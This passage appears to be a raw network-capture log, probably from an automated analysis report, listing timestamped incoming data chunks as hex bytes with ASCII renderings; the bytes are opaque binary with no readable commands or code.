34 bb 0b c2 1f b3 39 69 ce 6b 4f 11 ff 64 9b bc be d1 00 a5 ce 96 57 df f0 25 80 53 87 98 a2 88 99 06 15 da a7 e5 f3 2f f7 14 7b 65 28 b3 13 41 0d a8 1d 89 2e ce 76 8f 4b cd 58 51 8c f2 3f 0f 8e 83 42 ce e7 93 18 dc 0b 5f 7e Data Ascii: S/HNOfViK;o83INR6-mycY/-"G0IOdQ@}h(wljA2GMB!"fMqxh`& \|rO!GqX:>.49ikOdW%S/{e(A.vKXQ?B_~
2023-07-18 15:37:06 UTC	320	IN	Data Raw: b9 a3 75 05 1b 04 2c f7 28 41 cf b0 58 80 3d 04 35 7d cc 41 84 6b c6 c9 fe 52 29 26 ee da d1 39 d2 3b af a9 3f 99 8e b6 85 53 db 4b 2d b8 50 00 65 6a fe c3 ac 60 6e bc a9 f2 00 61 12 84 3b f7 81 4c df 19 90 fe 80 f1 20 e6 76 3c 0c 41 e3 7e 65 79 32 6d cf f5 9d ee 5f 7c 1d 75 59 79 e0 06 ad 01 d0 fc 5b 8d b9 8b 89 e8 37 bb 83 5c 22 85 db 97 2c ab 93 d8 19 14 e3 63 b0 4d 55 8b ac 94 5a 86 42 aa 5f 89 a7 d8 b3 4f f8 5e a1 7b cc cf 8a c7 c3 d2 24 49 ed 65 a0 22 38 1c 4a 5e 6b 9c df 47 5b 30 df c6 db a2 67 94 29 4f 1f 5b 71 ca 89 08 30 d3 53 bf af 29 8b af b7 9a 21 90 0c 74 00 cd 4f ec c1 ae af eb 2d 83 65 ec 74 18 19 7e 81 29 86 5d 67 2c 95 00 e5 ce 1b fd bf 7b c2 b2 2c 12 54 82 a1 99 3b ae 18 93 59 3b 17 3e 51 50 91 af 11 36 a6 13 96 80 af 5b e0 96 b1 e4 e3 Data Ascii: u,(AX=5}AkR)&9;?SK-Pej`na;L v<A~ey2m_\|uYy[7\",cMUZB_O^{$Ie"8J^kG[0g)O[q0S)!tO-et~)]g,{,T;Y;>QP6[
2023-07-18 15:37:06 UTC	336	IN	Data Raw: 33 3d f7 8d 15 e9 24 70 ed b9 3d 6e 83 72 4d 23 23 ee 21 71 11 53 c2 9d eb 16 8e 4f bc dc 85 90 f6 85 f7 09 c7 c9 f6 8e 64 44 74 ee d5 a7 ab 7c 72 9c 14 9f c6 43 eb 4c ad 15 7b 69 29 6e 19 7f 5b 87 45 0a 39 70 ab 63 dc a2 a2 67 c9 8b dd d9 3a 2e 7b 32 52 3c c8 98 cc 6c 71 2d 5e 17 ff 02 08 9f 6d 83 8c 72 cb 73 2a e0 bb 9e 86 55 b1 36 20 69 24 34 fb 27 e5 3d 5a 18 61 be 52 83 75 88 12 8a 0a 77 3c 2e fb 0f a5 13 a1 73 63 bb 3f 95 31 b6 34 60 49 b0 71 85 77 1a 79 c5 53 d9 aa 75 01 17 51 bf 97 74 32 02 98 02 88 de 5c b8 2d 66 4c 38 0b 37 83 f4 6c 5e 1b b5 13 03 49 c1 9a 91 6e 12 0c 0d 91 2d d4 9b f4 db 74 82 56 f5 b4 de 21 f7 dd cc 4f ff f1 0a f1 d1 3f f6 87 f0 05 86 3b c8 e0 ed 64 ac 22 01 bc 05 e1 45 df 1d 24 01 6d 97 a6 25 52 af 03 1b 7a d6 eb 6e da 06 64 Data Ascii: 3=$p=nrM##!qSOdDt\|rCL{i)n[E9pcg:.{2R<lq-^mrs*U6 i$4'=ZaRuw<.sc?14`IqwySuQt2\-fL87l^In-tV!O?;d"E$m%Rznd
2023-07-18 15:37:06 UTC	352	IN	Data Raw: 79 9e 3c fe 92 2d c8 7b 97 1a b8 ef fd e1 a3 c1 71 49 47 9f 5e d0 44 7e 1a 2f ac bb 4e 77 1f ea 7f 47 f4 ab 91 9e fa 4d 17 64 59 e1 69 2d 9a 1b 5f df e3 d7 c0 a7 7f 4e 3d d2 18 05 cb e9 fd 1f 0c cd db cb df 9f 7e 33 2f eb 40 2d b8 8e a5 48 d5 41 0f 26 c0 9e 87 21 c3 d0 7e bc 5e ae de 19 cc 88 bc cb 09 c3 dd 7b 9f f4 03 7a 0b bd 1a e4 e4 a5 ce 50 44 15 05 94 ce 3c c4 94 89 7e 4f f4 fc 11 b5 c4 bd 1a e5 2d 89 3e 17 a3 32 a8 1c 2c d2 16 0d 7a 67 d9 05 6d db c6 03 d9 69 14 d9 c7 df a6 1f 0e 07 93 8f d9 78 7d 90 7a 88 40 bc bc e8 1f 31 bf e9 19 a5 aa 5d ca f9 90 cb 11 a0 e7 c5 b7 11 0d ed 88 04 96 e7 19 bd ad e0 fe 5d 11 d7 7c 71 9b 3f c6 8d df ef e8 0c a9 ac 18 bf d1 91 c7 bb 9c 15 18 a0 d7 88 5f 84 d1 ac e7 46 cf 62 c9 99 f1 18 ec 39 03 f8 cb bb a8 fc a8 ba Data Ascii: y<-{qIG^D~/NwGMdYi-_N=~3/@-HA&!~^{zPD<~O->2,zgmix}z@1]]\|q?_Fb9
2023-07-18 15:37:06 UTC	368	IN	Data Raw: 7c a8 0a 0f a2 80 d9 d7 41 69 de 2d 86 a0 80 ed 2e e8 bc 0d f5 cd 5a 5f 1f 63 8c 67 da 78 e9 76 1c 8a 78 1e d1 23 4b b3 2b ba 80 ec 3a b8 d3 c8 a5 94 52 db fa 7f 7e 40 9b 77 5d 56 96 b5 12 4d 63 34 cd ef be 12 ef 94 80 b3 a1 87 69 08 0e b9 de b7 66 1d a3 ee 02 74 e2 13 1d 9a 33 64 05 ef a8 7c 85 38 9c 6b 87 7f 17 00 0e 10 71 70 65 07 e9 6c f5 1e c5 dc 4a 8b b9 d2 52 d8 1f 75 2b 11 b3 f3 7b 29 24 18 61 70 ad f9 7a 1a 61 af d4 db f1 19 21 68 92 71 57 47 db 9e ec c5 18 31 91 82 af 38 3d 1a 2f 71 45 8e 6d aa 28 60 e5 cd 90 71 8f 65 2c 1e 6d dd 47 3a 68 e5 54 43 90 b4 b1 2d f4 46 b9 a7 ef ea 4a 76 0f df 54 dc 88 7f 6c f1 82 5f af 0c 4e 0d f9 92 d8 38 93 35 ee 91 b6 de 0a 74 82 84 9b d8 f3 e7 c3 d1 a6 64 74 a7 18 06 90 91 92 21 29 c5 64 e2 4f 58 36 b7 50 92 46 Data Ascii: \|Ai-.Z_cgxvx#K+:R~@w]VMc4ift3d\|8kqpelJRu+{)$apza!hqWG18=/qEm(`qe,mG:hTC-FJvTl_N85tdt!)dOX6PF
2023-07-18 15:37:06 UTC	384	IN	Data Raw: f9 1b 67 5e 6d d9 57 5d 3b 30 a3 ea a3 b4 8f 7b fe 9b ae 7d c0 d3 76 d9 eb 77 33 d9 bf fc eb 6e 0e ef b3 fc d5 87 4a e7 7a 26 32 1b 76 51 3a 3a e7 8d 53 d5 74 93 8a 86 19 32 24 81 29 64 05 05 c0 52 31 32 89 33 92 f6 be a0 58 37 56 86 a0 ae 39 3c c9 ac fd d1 f1 d7 18 35 5f 81 38 7a be 7d 04 48 24 42 c2 75 ab 5b 35 1c 06 4a ed c3 50 65 e7 7b 8f 84 9e 58 e8 dd 70 52 cc 95 88 bd a4 b0 69 19 38 e5 83 d5 d9 5e 72 bf 3d 0b 06 eb 03 f5 2a 88 a3 22 85 41 87 06 9d 7a 5e 87 d1 06 84 c1 80 e1 21 45 c3 9e 5c 55 60 34 a1 ee 42 06 84 39 2b 7b 48 48 2f fb fa 65 24 ca 13 1b 54 26 55 2a 45 c5 8e 5c 36 6f f8 d6 f3 16 48 99 59 ea 91 dc 7d ad 9b 1b a1 3b 82 99 f7 2f 1f de 29 59 3b 20 98 22 2c 01 74 20 b1 be 92 e8 a1 32 b9 88 99 d8 ae 57 e7 5b 86 ec ea e3 8d 04 70 bc 9a 72 84 Data Ascii: g^mW];0{}vw3nJz&2vQ::St2$)dR123X7V9<5_8z}H$Bu[5JPe{XpRi8^r="Az^!E\U`4B9+{HH/e$T&UE\6oHY};/)Y; ",t 2W[pr
2023-07-18 15:37:06 UTC	400	IN	Data Raw: 17 56 3b 8b eb 86 92 ac 20 99 e3 90 d0 60 64 ea 80 e8 76 ab a6 fe b2 fe ba 2c 07 fc dc 8c 0e 98 5a ee 8f f3 56 22 b0 d8 e3 be 4b 7f bd 5e 1c 5c e0 cf 9e 54 07 23 a5 1a 8b 22 16 df be 7f cc c3 b9 39 cb 2d e5 62 74 83 60 f9 8a e1 1e b2 af 61 0a bd 64 81 84 90 31 59 04 fe 01 c9 24 9d ca d8 ea 42 e1 30 e4 e0 06 d3 cc a8 0b 97 75 fe a5 c1 f5 9c a4 90 60 e8 d8 66 15 76 30 55 f8 3f 69 87 b2 18 c0 b6 be db f3 02 c9 ab ae 08 14 8f be ac 47 59 b0 68 27 55 5d e5 ab ba 6e b1 b3 fa b3 96 6c bd 5d 01 48 6a 7e 4b 9c b0 12 eb ac fa 10 5d 2e 0c 54 2c 34 d9 b1 82 1a 82 9f c3 c1 1c 32 c8 c3 5d 5b a0 06 53 8d be d1 2c a6 c9 c3 32 7c ca cd 0d 84 1f f1 ff 7d 0a 7c 26 6f 36 17 a7 69 bd 9c 79 71 91 75 65 c3 59 52 f8 94 5e 9c 1a e3 57 fa 5e 98 93 a0 ee a3 8e 45 b8 59 6f 2b 70 f9 Data Ascii: V; `dv,ZV"K^\T#"9-bt`ad1Y$B0u`fv0U?iGYh'U]nl]Hj~K].T,42][S,2\|}\|&o6iyqueYR^W^EYo+p
2023-07-18 15:37:06 UTC	416	IN	Data Raw: fc 93 f8 68 d7 43 90 91 6f 0c 6f 8a d9 6b f7 81 61 60 69 ad b9 11 8f f3 24 b4 08 24 26 69 7e dd 0f cf 1f 40 32 9e ed 86 a7 23 2d 71 9e 45 bd 33 c9 fa 7f 90 66 66 7e f4 d8 e6 b2 79 97 fd 0a 93 6d e9 7a 83 f4 0d 40 64 cd 93 6a 34 26 e3 3d c3 e6 91 d7 dc 00 34 a9 61 98 4c 77 88 cf 8e 64 5d 81 fa 23 a2 7a f5 82 88 ca 08 07 1f 01 7c c2 d1 f9 c6 db c5 9e 1c c4 44 36 af b8 d4 d4 b8 e2 75 89 9f 25 18 34 19 79 01 aa ff d6 39 a8 e2 78 7c a4 0a a4 9f d2 77 1f 37 ee f4 38 ba e9 77 2b fb 9a c2 ca 16 78 a2 39 ea ff ab 03 5f 7c 5c 0b 5f 25 c3 d8 69 f5 c7 51 c8 22 34 79 90 39 5f 19 01 73 5b 49 3f da 25 7f 79 78 fa 4a fc fd cb f0 52 60 f0 8d f8 78 c1 8c 34 a2 9c 94 bf 32 83 04 29 f5 88 02 d3 8d 18 8c 45 2d 55 43 df e8 05 bf a5 32 97 a7 f3 75 4a cf f9 69 0d 25 c0 3c 4f ac Data Ascii: hCooka`i$$&i~@2#-qE3ff~ymz@dj4&=4aLwd]#z\|D6u%4y9x\|w78w+x9_\|\_%iQ"4y9_s[I?%yxJR`x42)E-UC2uJi%<O
2023-07-18 15:37:06 UTC	432	IN	Data Raw: 95 65 5a 28 0d fe 64 a6 6e 2a 5d 92 c1 91 d0 4b e9 07 42 48 a0 5d e4 ef 45 fe 1d d8 1c 41 43 60 b9 88 2b 57 12 a9 68 e4 09 8f f8 55 33 9d b7 8d 0f 29 cf 2f 24 2b 09 d7 33 16 0c 17 43 a7 02 41 cd 19 9d a2 27 9a 82 d3 89 43 e0 c9 7c 46 b4 5e f5 e1 fc 10 e1 6f 4c 34 20 80 76 4f b9 4f 8d f9 78 83 bb 4e 9c c0 6b 98 14 c1 df 1c ce 03 fb aa e5 35 52 bb 86 ab 65 e4 55 56 31 21 76 cb dc a6 3b 12 8c 0d 2e 82 0f e9 bf 3a de ac 3c 6e 2f 65 40 6e 37 84 12 57 ad 35 40 d4 fd 77 b7 19 15 24 0a 42 72 37 1e ba e1 8e 61 d7 0e f2 aa 28 41 08 5d 16 28 74 e7 95 38 5c 1d 59 90 61 4a b5 ce 63 a1 af 3e ef ee 82 46 20 f1 f9 5e d9 6d 83 01 4b aa 8b 5b 2e 1b 53 85 80 75 9e 42 4f ca d7 dd 59 d3 f9 7d cd b7 fc b9 8d f6 82 3b f2 b0 f6 8f 50 e2 0a fd 63 23 3f 82 35 10 52 a5 47 f4 a0 d4 Data Ascii: eZ(dn*]KBH]EAC`+WhU3)/$+3CA'C\|F^oL4 vOOxNk5ReUV1!v;.:<n/e@n7W5@w$Br7a(A](t8\YaJc>F ^mK[.SuBOY};Pc#?5RG
2023-07-18 15:37:06 UTC	448	IN	Data Raw: 38 9e 8e 88 1a d4 cd f9 26 64 f1 15 d3 16 2a 55 06 bb 63 72 2f 03 6e e5 09 4e dc 74 ed 44 94 2c 2f d2 32 9f 56 7f 1f 7a 3b 36 86 c6 ca 1a fd 0d a0 ca 81 96 bc c5 7a db 7f d7 51 ca fc 88 49 95 20 ca 93 00 80 f8 e1 8f a1 d8 c4 38 32 e6 67 9d 96 d1 3e 98 13 a1 d0 5f 7d 7e f5 a6 f6 06 7b 8c 10 13 36 e7 cd 26 ed b3 48 c8 c9 a1 44 71 78 03 1d e7 8d bc 76 fc 42 96 97 c8 15 7c 23 c6 81 46 d0 8a c5 3f b7 f1 63 f9 93 89 b8 4b 4b 0d 45 65 71 87 db 08 a5 5d c2 95 78 3c dd fe 97 e9 bd cd 05 bd 72 15 00 a2 8c 68 a5 80 e7 df b7 9d a4 a9 d7 1c bd d4 47 0a 27 00 f3 a7 ed bf fd a8 a3 d2 f1 26 29 3c 9d 4c 66 ea 82 a3 b7 ab b4 8c dc b4 87 1a 7c 41 f7 bd a3 de a4 9e e0 2c 90 34 56 3c 24 9f 99 c5 01 34 d6 71 de 2f b2 a0 04 4e 73 ad 2c 0f c1 ce be ca 21 6d 56 e3 b0 a3 1b a9 a5 Data Ascii: 8&d*Ucr/nNtD,/2Vz;6zQI 82g>_}~{6&HDqxvB\|#F?cKKEeq]x<rhG'&)<Lf\|A,4V<$4q/Ns,!mV
2023-07-18 15:37:06 UTC	464	IN	Data Raw: 62 73 7a 67 c4 39 14 9d 2f 07 9a 7c a1 61 7a 76 58 5c d1 da 1e de fd 1d c3 cd f3 f7 55 6a bb 74 55 f5 d9 fa 25 d5 f5 5c eb 5c c4 b3 cf d8 95 ae 49 ac 36 72 cd de b1 5b 31 73 ec cc a3 f4 87 97 95 d3 cd 23 e4 9d 66 58 26 41 6b ed 16 e6 41 df 95 00 63 c9 da ed eb d5 94 43 7a 01 b0 8e 5e 8e bd 48 d6 01 9c 10 77 60 cf 96 c0 d6 25 41 34 18 e8 19 32 1c 22 60 ac f5 92 62 02 22 4f 5c cc ac fc 2a 1b c5 e4 c3 86 b2 b9 c6 57 4a e0 da b2 55 0b 50 cc 3b d4 e5 28 9e 07 84 3c 89 83 92 91 c9 27 83 af 08 16 0a ae 45 c0 89 72 3a 2d 34 80 e5 d3 e5 2a 0c b5 85 17 89 26 ac 44 6a 87 62 be 2e ab 82 5e 1a 51 b8 be e0 fe 22 8a d7 8b c2 0e 05 25 c8 04 24 09 08 32 c6 6b 75 d0 b4 c3 8f 1b a2 f1 f1 c8 30 73 8e 0c 65 b2 1f 10 ab 57 ed 8a d0 eb 8c 3b 06 29 c7 14 75 d6 51 4f 4f 7c 16 99 Data Ascii: bszg9/\|azvX\UjtU%\\I6r[1s#fX&AkAcCz^Hw`%A42"`b"O\WJUP;(<'Er:-4&Djb.^Q"%$2ku0seW;)uQOO\|
2023-07-18 15:37:06 UTC	480	IN	Data Raw: 75 fd 87 c2 22 40 03 86 f3 f1 3b a6 f7 dc 00 bd 5c d3 01 ea 14 65 fd c1 bb 89 d0 a5 6c cd da 3f 9f 55 0a 08 5f 28 e5 8f 6c f7 ea 7d 4e 80 75 dd 2d fb 5e 5f 0c eb 46 1d a7 5b be ae cd e1 d6 25 46 72 66 e8 0a 20 42 18 a3 90 91 3c 6a 15 bd f3 e5 e8 7b 14 c1 3e 60 2b 5d 20 4d 4c 75 a2 3b 53 e4 aa 86 39 b8 fd 40 32 06 a4 37 9d c1 ef 43 1e 7f 83 7a cc 03 8e 7c 1a da a2 fd 90 99 dc e8 b8 9b 6c b5 13 df 79 a3 a4 9d 52 24 78 62 02 d6 1e 5f bc 5d b1 bb 20 70 36 e0 0b 67 1b 36 03 8c 38 e9 c8 c7 0b 3d ec f1 2e 86 ae c9 82 73 d5 85 ce 19 3f 38 cc 27 95 e6 ad f5 03 e8 1c 10 4a 8c 64 f3 2e 63 c3 9a 94 b3 67 e5 ac 1a e0 f2 23 6e 8a f4 ea 6a ed 82 56 a8 d8 ed b9 7c 3a 10 3b 3d 0b b5 15 cc 91 ab 14 c7 41 b5 19 37 15 ce 62 ff 51 43 eb 23 d1 4e bb 0d 83 c8 34 56 bc 6f 80 fb Data Ascii: u"@;\el?U_(l}Nu-^_F[%Frf B<j{>`+] MLu;S9@27Cz\|lyR$xb_] p6g68=.s?8'Jd.cg#njV\|:;=A7bQC#N4Vo
2023-07-18 15:37:06 UTC	496	IN	Data Raw: 0c fb cd 39 dd fc 50 a8 21 5d 16 ad 14 a2 3c c9 05 53 de 48 17 17 cd 03 d0 57 71 13 62 56 2a 15 42 3a d9 39 46 1a b1 9e 5a d9 17 c8 b3 9f f7 18 79 d6 0d 1f cb 4c 36 86 48 5b d2 8f a2 10 74 75 6f f3 02 2d ed 04 7d 26 16 38 14 8b 74 b2 83 03 ad d6 53 09 5b 0d b5 fd c1 e4 be 8b e2 d5 d9 19 6f c6 75 71 8a b2 b0 74 60 1f bf 75 3e 4e 37 8a 69 80 ce d5 cd 61 55 fa 39 33 f0 ad 6f 94 98 9c 39 26 4b 9b 07 4e dd e4 4e 11 1a f8 44 c4 72 3b 01 9a ac 18 b0 7f 78 99 15 6e 0c d6 75 81 fb fb c1 26 68 c9 81 27 cc 69 9d c9 df cb c7 30 f4 43 95 78 ef bd 97 9c a5 bd 5b da c7 13 27 68 87 13 5d 35 2e 5e af ee 6d 42 0e c3 5d b7 2c 96 83 c5 37 19 f2 77 af 89 5d ae 7b 86 4c af 35 72 9d 79 d9 02 fe 62 40 55 79 0c 4e be 0c 74 29 73 87 98 b4 1d a7 3b 16 86 65 87 35 77 0e f9 e7 05 c7 Data Ascii: 9P!]<SHWqbV*B:9FZyL6H[tuo-}&8tS[ouqt`u>N7iaU93o9&KNNDr;xnu&h'i0Cx['h]5.^mB],7w]{L5ryb@UyNt)s;e5w
2023-07-18 15:37:06 UTC	512	IN	Data Raw: 0e d3 d7 51 39 f9 43 38 fa 08 81 9d ff 95 2a 3f 3c 0c 75 36 63 23 59 0f 60 4e 65 40 9c 5a 0e b0 96 89 c1 c5 87 cb 66 04 48 11 8a b3 18 c3 e9 91 da 85 96 ab f0 e8 72 9e 3b 62 9a 8b 2d c2 f6 4a 31 23 c5 b1 c7 e7 d6 ae 16 30 aa d5 e2 9e a5 90 d8 7a f1 be 67 21 96 c8 b4 b0 d4 48 15 20 07 02 02 9f f5 00 2c 0e 2f 02 0e 91 d5 57 38 05 5b f2 d8 25 45 46 38 30 89 95 01 6b c5 f5 7c 94 26 d0 3c 38 bc 91 ca 74 40 cc 5f eb 34 c4 c6 b1 86 a2 58 27 8f b6 17 51 9d a9 b2 94 de 17 1b 6a f9 41 4f 1b 27 b9 b7 0c 59 9a ee 87 9d dc 4d c3 bf 24 c1 86 ac cd 8a 35 7d 67 ce f9 c7 0b 3f c8 43 47 2f 45 7a b9 31 eb 9a e0 f6 a4 c3 b2 88 e5 0f e6 42 fc ff f8 84 2b 33 fb d4 9f 17 d0 db a1 ea 28 ba 07 cf 88 15 78 d3 58 25 17 2b f1 d7 92 97 5f 66 7f 27 9d 51 d9 97 02 6f 8a cb ef d0 1e 0c Data Ascii: Q9C8*?<u6c#Y`Ne@ZfHr;b-J1#0zg!H ,/W8[%EF80k\|&<8t@_4X'QjAO'YM$5}g?CG/Ez1B+3(xX%+_f'Qo
2023-07-18 15:37:06 UTC	528	IN	Data Raw: 2e c1 ae 62 2d 5a 32 31 52 4b 63 4f c8 89 cc ae d0 a8 8a 10 1f 6e f1 e7 c2 f1 7d 46 da 3b b3 4e 24 f7 f0 15 3a ba cd be d8 40 23 fc 6e 42 bf 8a 72 5c 17 e4 d8 ba e5 cf 3b 93 ea 8d ad 30 7d b8 b4 45 51 07 f9 b0 ac 25 2a 86 3e d8 4c 79 9c 1f eb 9e c4 d2 0e 2b 20 28 40 f6 be 47 c0 1a 9e 93 7c 53 ae 23 7f 0b 70 a3 a1 df 97 42 30 e4 a6 bd 69 bc 88 2f dd 19 2d fa 64 13 bb 42 2f fb d4 5d 55 17 a2 90 6f c1 93 7d b8 c6 03 ab 6d 53 12 bd 85 51 0d 25 24 73 c0 8a 37 52 89 39 c7 47 be c8 4f 68 c0 4f d2 d0 a7 d8 fb b0 a0 50 3b 31 e2 f3 f8 64 cd 51 ab b1 40 35 17 9d b2 9d 30 a4 84 4e 84 ba fb 78 6b ef 55 df c0 7e c9 7d 95 53 86 04 6a 06 d1 c0 a4 dd bd fe 3d 37 bb 2e 07 43 78 58 73 a9 0c 81 66 c3 fb 0c 63 e6 98 ce 2c 16 cd 6c b8 e4 fc 50 8c d1 c1 29 f6 6c 5f 21 90 65 bf Data Ascii: .b-Z21RKcOn}F;N$:@#nBr\;0}EQ%*>Ly+ (@G\|S#pB0i/-dB/]Uo}mSQ%$s7R9GOhOP;1dQ@50NxkU~}Sj=7.CxXsfc,lP)l_!e
2023-07-18 15:37:06 UTC	544	IN	Data Raw: b1 09 bf b6 cf d6 2a 6c dd 3a 3c 5a 74 bf 82 32 18 1a b3 ed f5 05 1e 76 3d ca 7c 2e 99 00 6a ef 42 3f 6a 84 80 d9 a0 63 23 18 ae f0 f0 3f 50 e5 6f 57 6c 49 1e 14 83 bc 3d ec 56 c6 e5 33 91 9e 02 3f af 5b 76 05 42 15 fc 82 95 a1 ae 18 3a be 2b 10 9b cd bd 56 10 38 5e b6 3d b5 b9 70 a7 44 1d 9e c0 fe 91 54 3a 67 91 99 7a 3e c2 61 e4 4a d7 d0 a5 2a d6 a3 bf 6e c1 f8 01 e3 4f 14 f0 08 e5 a2 00 f0 ac 55 a2 e1 40 b3 99 c4 cd aa 04 1f ba 11 da 9d d0 02 d5 13 2e 26 19 8a 12 88 46 01 13 1d fc 4f 4d 1b 3c e9 b9 d2 be b5 d5 b8 1b 7f cb f2 b9 45 24 ab f1 ac 6a 86 41 f4 c6 ba 8b 4a 59 e6 92 aa fe 63 61 35 38 5d 82 11 3c 8b 20 5c a0 3e 90 9f 1f e9 c7 c8 7e a9 71 6b 96 39 2c 3c ba 2c cf 9b d6 f8 bd 06 c6 e7 8e 4c 22 fe 93 44 57 8e 82 46 59 36 ac 43 13 78 b4 7c 47 77 ef Data Ascii: l:<Zt2v=\|.jB?jc#?PoWlI=V3?[vB:+V8^=pDT:gz>aJnOU@.&FOM<E$jAJYca58]< \>~qk9,<,L"DWFY6Cx\|Gw
2023-07-18 15:37:06 UTC	560	IN	Data Raw: fc 0b 66 77 14 99 e9 ef a4 42 65 f3 c9 57 cb 5d 57 ac 0b 89 31 fa d3 0a b6 dd 0b 76 18 47 fb 7d 6f 93 1e ef 5e e7 e2 9b 88 4e e3 eb ba ce 94 32 38 4a b1 71 11 cf cf b4 96 f4 33 20 4c e4 fd 7e 4b a5 07 61 4d 5d 42 5d 05 28 36 d2 94 6e 4a 3c df 83 af 6f ab 1d 02 08 25 97 bf 6c a0 b3 20 a2 ef 01 50 46 b3 5a 1e 1b 96 09 85 7e 32 68 65 25 67 a6 2f d7 c6 00 0d 4f 19 ba be ae 48 43 5b 60 33 ad 6b 9a b2 0c 4b f5 39 53 99 fe 13 0c 3c e9 a4 cd a1 89 84 98 22 c3 f2 79 f4 01 07 5b f3 7b a5 24 34 5a da 45 a0 09 0e 74 b2 77 c4 24 78 fc 41 09 07 63 7e e8 1b 42 e7 60 cf 72 e4 ba 9e d4 16 30 57 f1 ac bf 40 9d f1 38 0c a9 4a 98 a1 67 18 1d d8 8c ee e6 68 7f fd db db d1 e4 6b 15 95 28 19 d0 fc 64 10 99 02 8a 6d 86 5b b3 31 69 57 d7 66 a1 df ca 9d 35 4b a6 6c c9 29 d2 c1 12 Data Ascii: fwBeW]W1vG}o^N28Jq3 L~KaM]B](6nJ<o%l PFZ~2he%g/OHC[`3kK9S<"y[{$4ZEtw$xAc~B`r0W@8Jghk(dm[1iWf5Kl)
2023-07-18 15:37:06 UTC	576	IN	Data Raw: d1 b9 59 0e 86 9c be 80 18 cf 46 cb 2e cc e6 ba 2f 9c 68 d7 1c 47 60 b5 e1 3b 22 41 80 49 18 b3 0d 3b ae f7 9a f4 ad 3e b3 71 8a 37 d3 7e 5e c2 0a 26 fd 7a bd 87 d2 e7 9b 63 84 9b 5f 8b 1e 5c 43 ff 6c 63 ee d9 54 62 b4 61 9d 13 1c 9b 7b 85 ad 6e 83 53 5c 83 e8 cb 6f 89 fb 37 f3 f5 78 d9 04 b1 07 07 f7 67 8c a3 f3 b6 bc c3 51 6e c9 89 78 ea 66 22 85 e8 8f de 0a 3a 3b 8a 99 0d 78 3c 7c 00 d3 1e 4e c4 cb 44 f6 d6 c6 24 1e bc 76 e6 b1 91 94 9d 3f 3c 7a b2 57 b9 22 07 2a b1 24 b6 69 fc c2 8f 22 6a bd a2 ea f9 1f 8b f5 f5 da 2c 33 32 b0 d7 be 0a 9e e5 a3 07 76 46 b4 f2 03 af 3e c6 8c 24 c4 44 88 1a 6a 47 10 20 7c 69 f2 c4 c5 00 e7 48 c8 f7 ca f0 6e 60 67 b4 d2 88 f1 37 6a e5 e0 63 6a eb 71 58 fb be 05 ee 19 d0 00 48 e4 88 c8 c4 11 e8 3f 9a 23 cf dc 75 28 56 4a Data Ascii: YF./hG`;"AI;>q7~^&zc_\ClcTba{nS\o7xgQnxf":;x<\|ND$v?<zW"*$i"j,32vF>$DjG \|iHn`g7jcjqXH?#u(VJ
2023-07-18 15:37:06 UTC	592	IN	Data Raw: 59 f7 72 c7 c7 1c c7 47 76 7f f6 f7 cb 28 6a 48 c1 d7 18 45 c7 cc 48 8e 4b 12 04 c0 14 14 70 1c 44 f0 7d 37 6a 7b 05 01 ba b2 33 66 b6 d3 db c1 80 96 31 0f 1b 22 f0 04 bb 2f 5c 29 62 62 f5 45 20 6c 5b 49 79 95 c4 df e0 5a 80 ae 3f 67 b9 62 05 e9 31 f0 a8 d7 2b 2d 16 b9 8c d9 f7 18 0b 99 c4 bb 98 23 84 e8 72 73 00 96 ec c8 19 02 65 a7 c7 5b 32 13 7f ce ee c5 c5 bd 7f f9 8f 35 83 9a a1 49 5c d5 12 eb c1 7c 32 44 b2 7c 13 ed a6 e0 23 2f 7f 5a 58 d4 ad 2e 72 f3 12 a6 48 a1 4d 0d 22 1e 45 21 f2 0e 73 5f f3 f5 47 ae 97 24 71 74 c9 2d 4d d4 62 34 fc 12 7f bf b2 8d 83 bd f6 03 03 a9 0d 79 10 b9 bc 9a 90 ba 5c b4 73 c5 1b 82 2a 81 7a a7 dd 44 c3 72 34 15 c0 4d 77 28 4e ff 1c 7f 64 47 52 ed af b0 cd f6 7a 25 2f 49 6a 12 f6 1f cb ff 00 6b d5 f2 26 b9 c8 8d c1 91 66 Data Ascii: YrGv(jHEHKpD}7j{3f1"/\)bbE l[IyZ?gb1+-#rse[25I\\|2D\|#/ZX.rHM"E!s_G$qt-Mb4y\s*zDr4Mw(NdGRz%/Ijk&f
2023-07-18 15:37:06 UTC	608	IN	Data Raw: 35 0b 32 18 87 ca 87 c6 e0 a3 fb 03 79 ad e5 f7 b4 ab ad 23 05 39 e9 03 2c 34 e5 68 be 68 c1 59 e9 60 28 26 be 9e ce 84 c1 3d 2b 8a 12 aa 24 1c 3f 97 92 99 d3 49 91 e0 61 cb 94 22 af af 72 ee fe 3c 7d 5f d2 52 ca ba 84 15 26 6e 85 2f ec bc 10 b6 f0 04 bf 2b d7 97 a5 b0 00 5a 0f b9 0a 3f 74 40 09 16 ae f8 9f 43 d4 51 92 07 12 19 55 5b ec 19 cd 28 61 11 90 c4 a9 6f 4e a6 b5 50 3c e4 88 5d a7 cb c1 52 29 55 df 58 af e2 a6 67 b7 fc 7e 5d 54 83 76 cf 4d 0e da de 59 85 85 c6 5d 0b e1 69 eb a8 cd 48 0c d6 01 09 de 41 9d 11 80 1f a3 c4 1c 06 b2 29 57 c1 ba 71 ed e7 32 b8 c8 0f a8 29 23 f8 83 ca f0 85 b3 23 17 19 08 f8 5b 3f a5 74 5e 57 91 3e 32 89 24 04 ba db b8 00 45 38 ac d4 8c f5 b6 b8 bb 04 6d 2f ea da 56 54 e6 b1 9b b2 8c 72 95 a0 d2 76 3a 7a 32 90 05 e8 da Data Ascii: 52y#9,4hhY`(&=+$?Ia"r<}_R&n/+Z?t@CQU[(aoNP<]R)UXg~]TvMY]iHA)Wq2)##[?t^W>2$E8m/VTrv:z2
2023-07-18 15:37:06 UTC	624	IN	Data Raw: 40 5c ca 26 a9 f6 01 5f ef 6e 9c c4 37 39 9d 25 e8 a7 58 58 47 3c d1 1c 9d 51 93 bf f1 f5 ce cf 62 67 0e d5 0a 62 0b a4 4f b4 53 b9 b1 65 53 2f 8a 05 77 aa ec 86 44 9f 1c 4a ef 66 c1 4d 6c df d1 d0 b6 47 11 bf ac 54 5e 61 10 11 b0 22 a0 4c 27 be 16 40 ed a7 da d2 b9 74 9c fc 29 6b 10 35 ce 8e 48 a2 a2 1b 72 67 fe 7a c9 d3 4a 1b b4 50 bb c5 f7 5b 05 a0 b7 5d 5a ee fe 04 80 c2 51 02 3d 0d 8e 7b dc 41 94 bf 92 f0 e8 8e e5 39 e1 88 a1 73 85 44 1e e4 8f f9 e7 e2 2d fe 6e d0 ca d7 b6 73 de 2d 46 e6 10 ed e9 5e d4 f8 38 26 65 12 c1 a1 d8 62 8f e8 73 b5 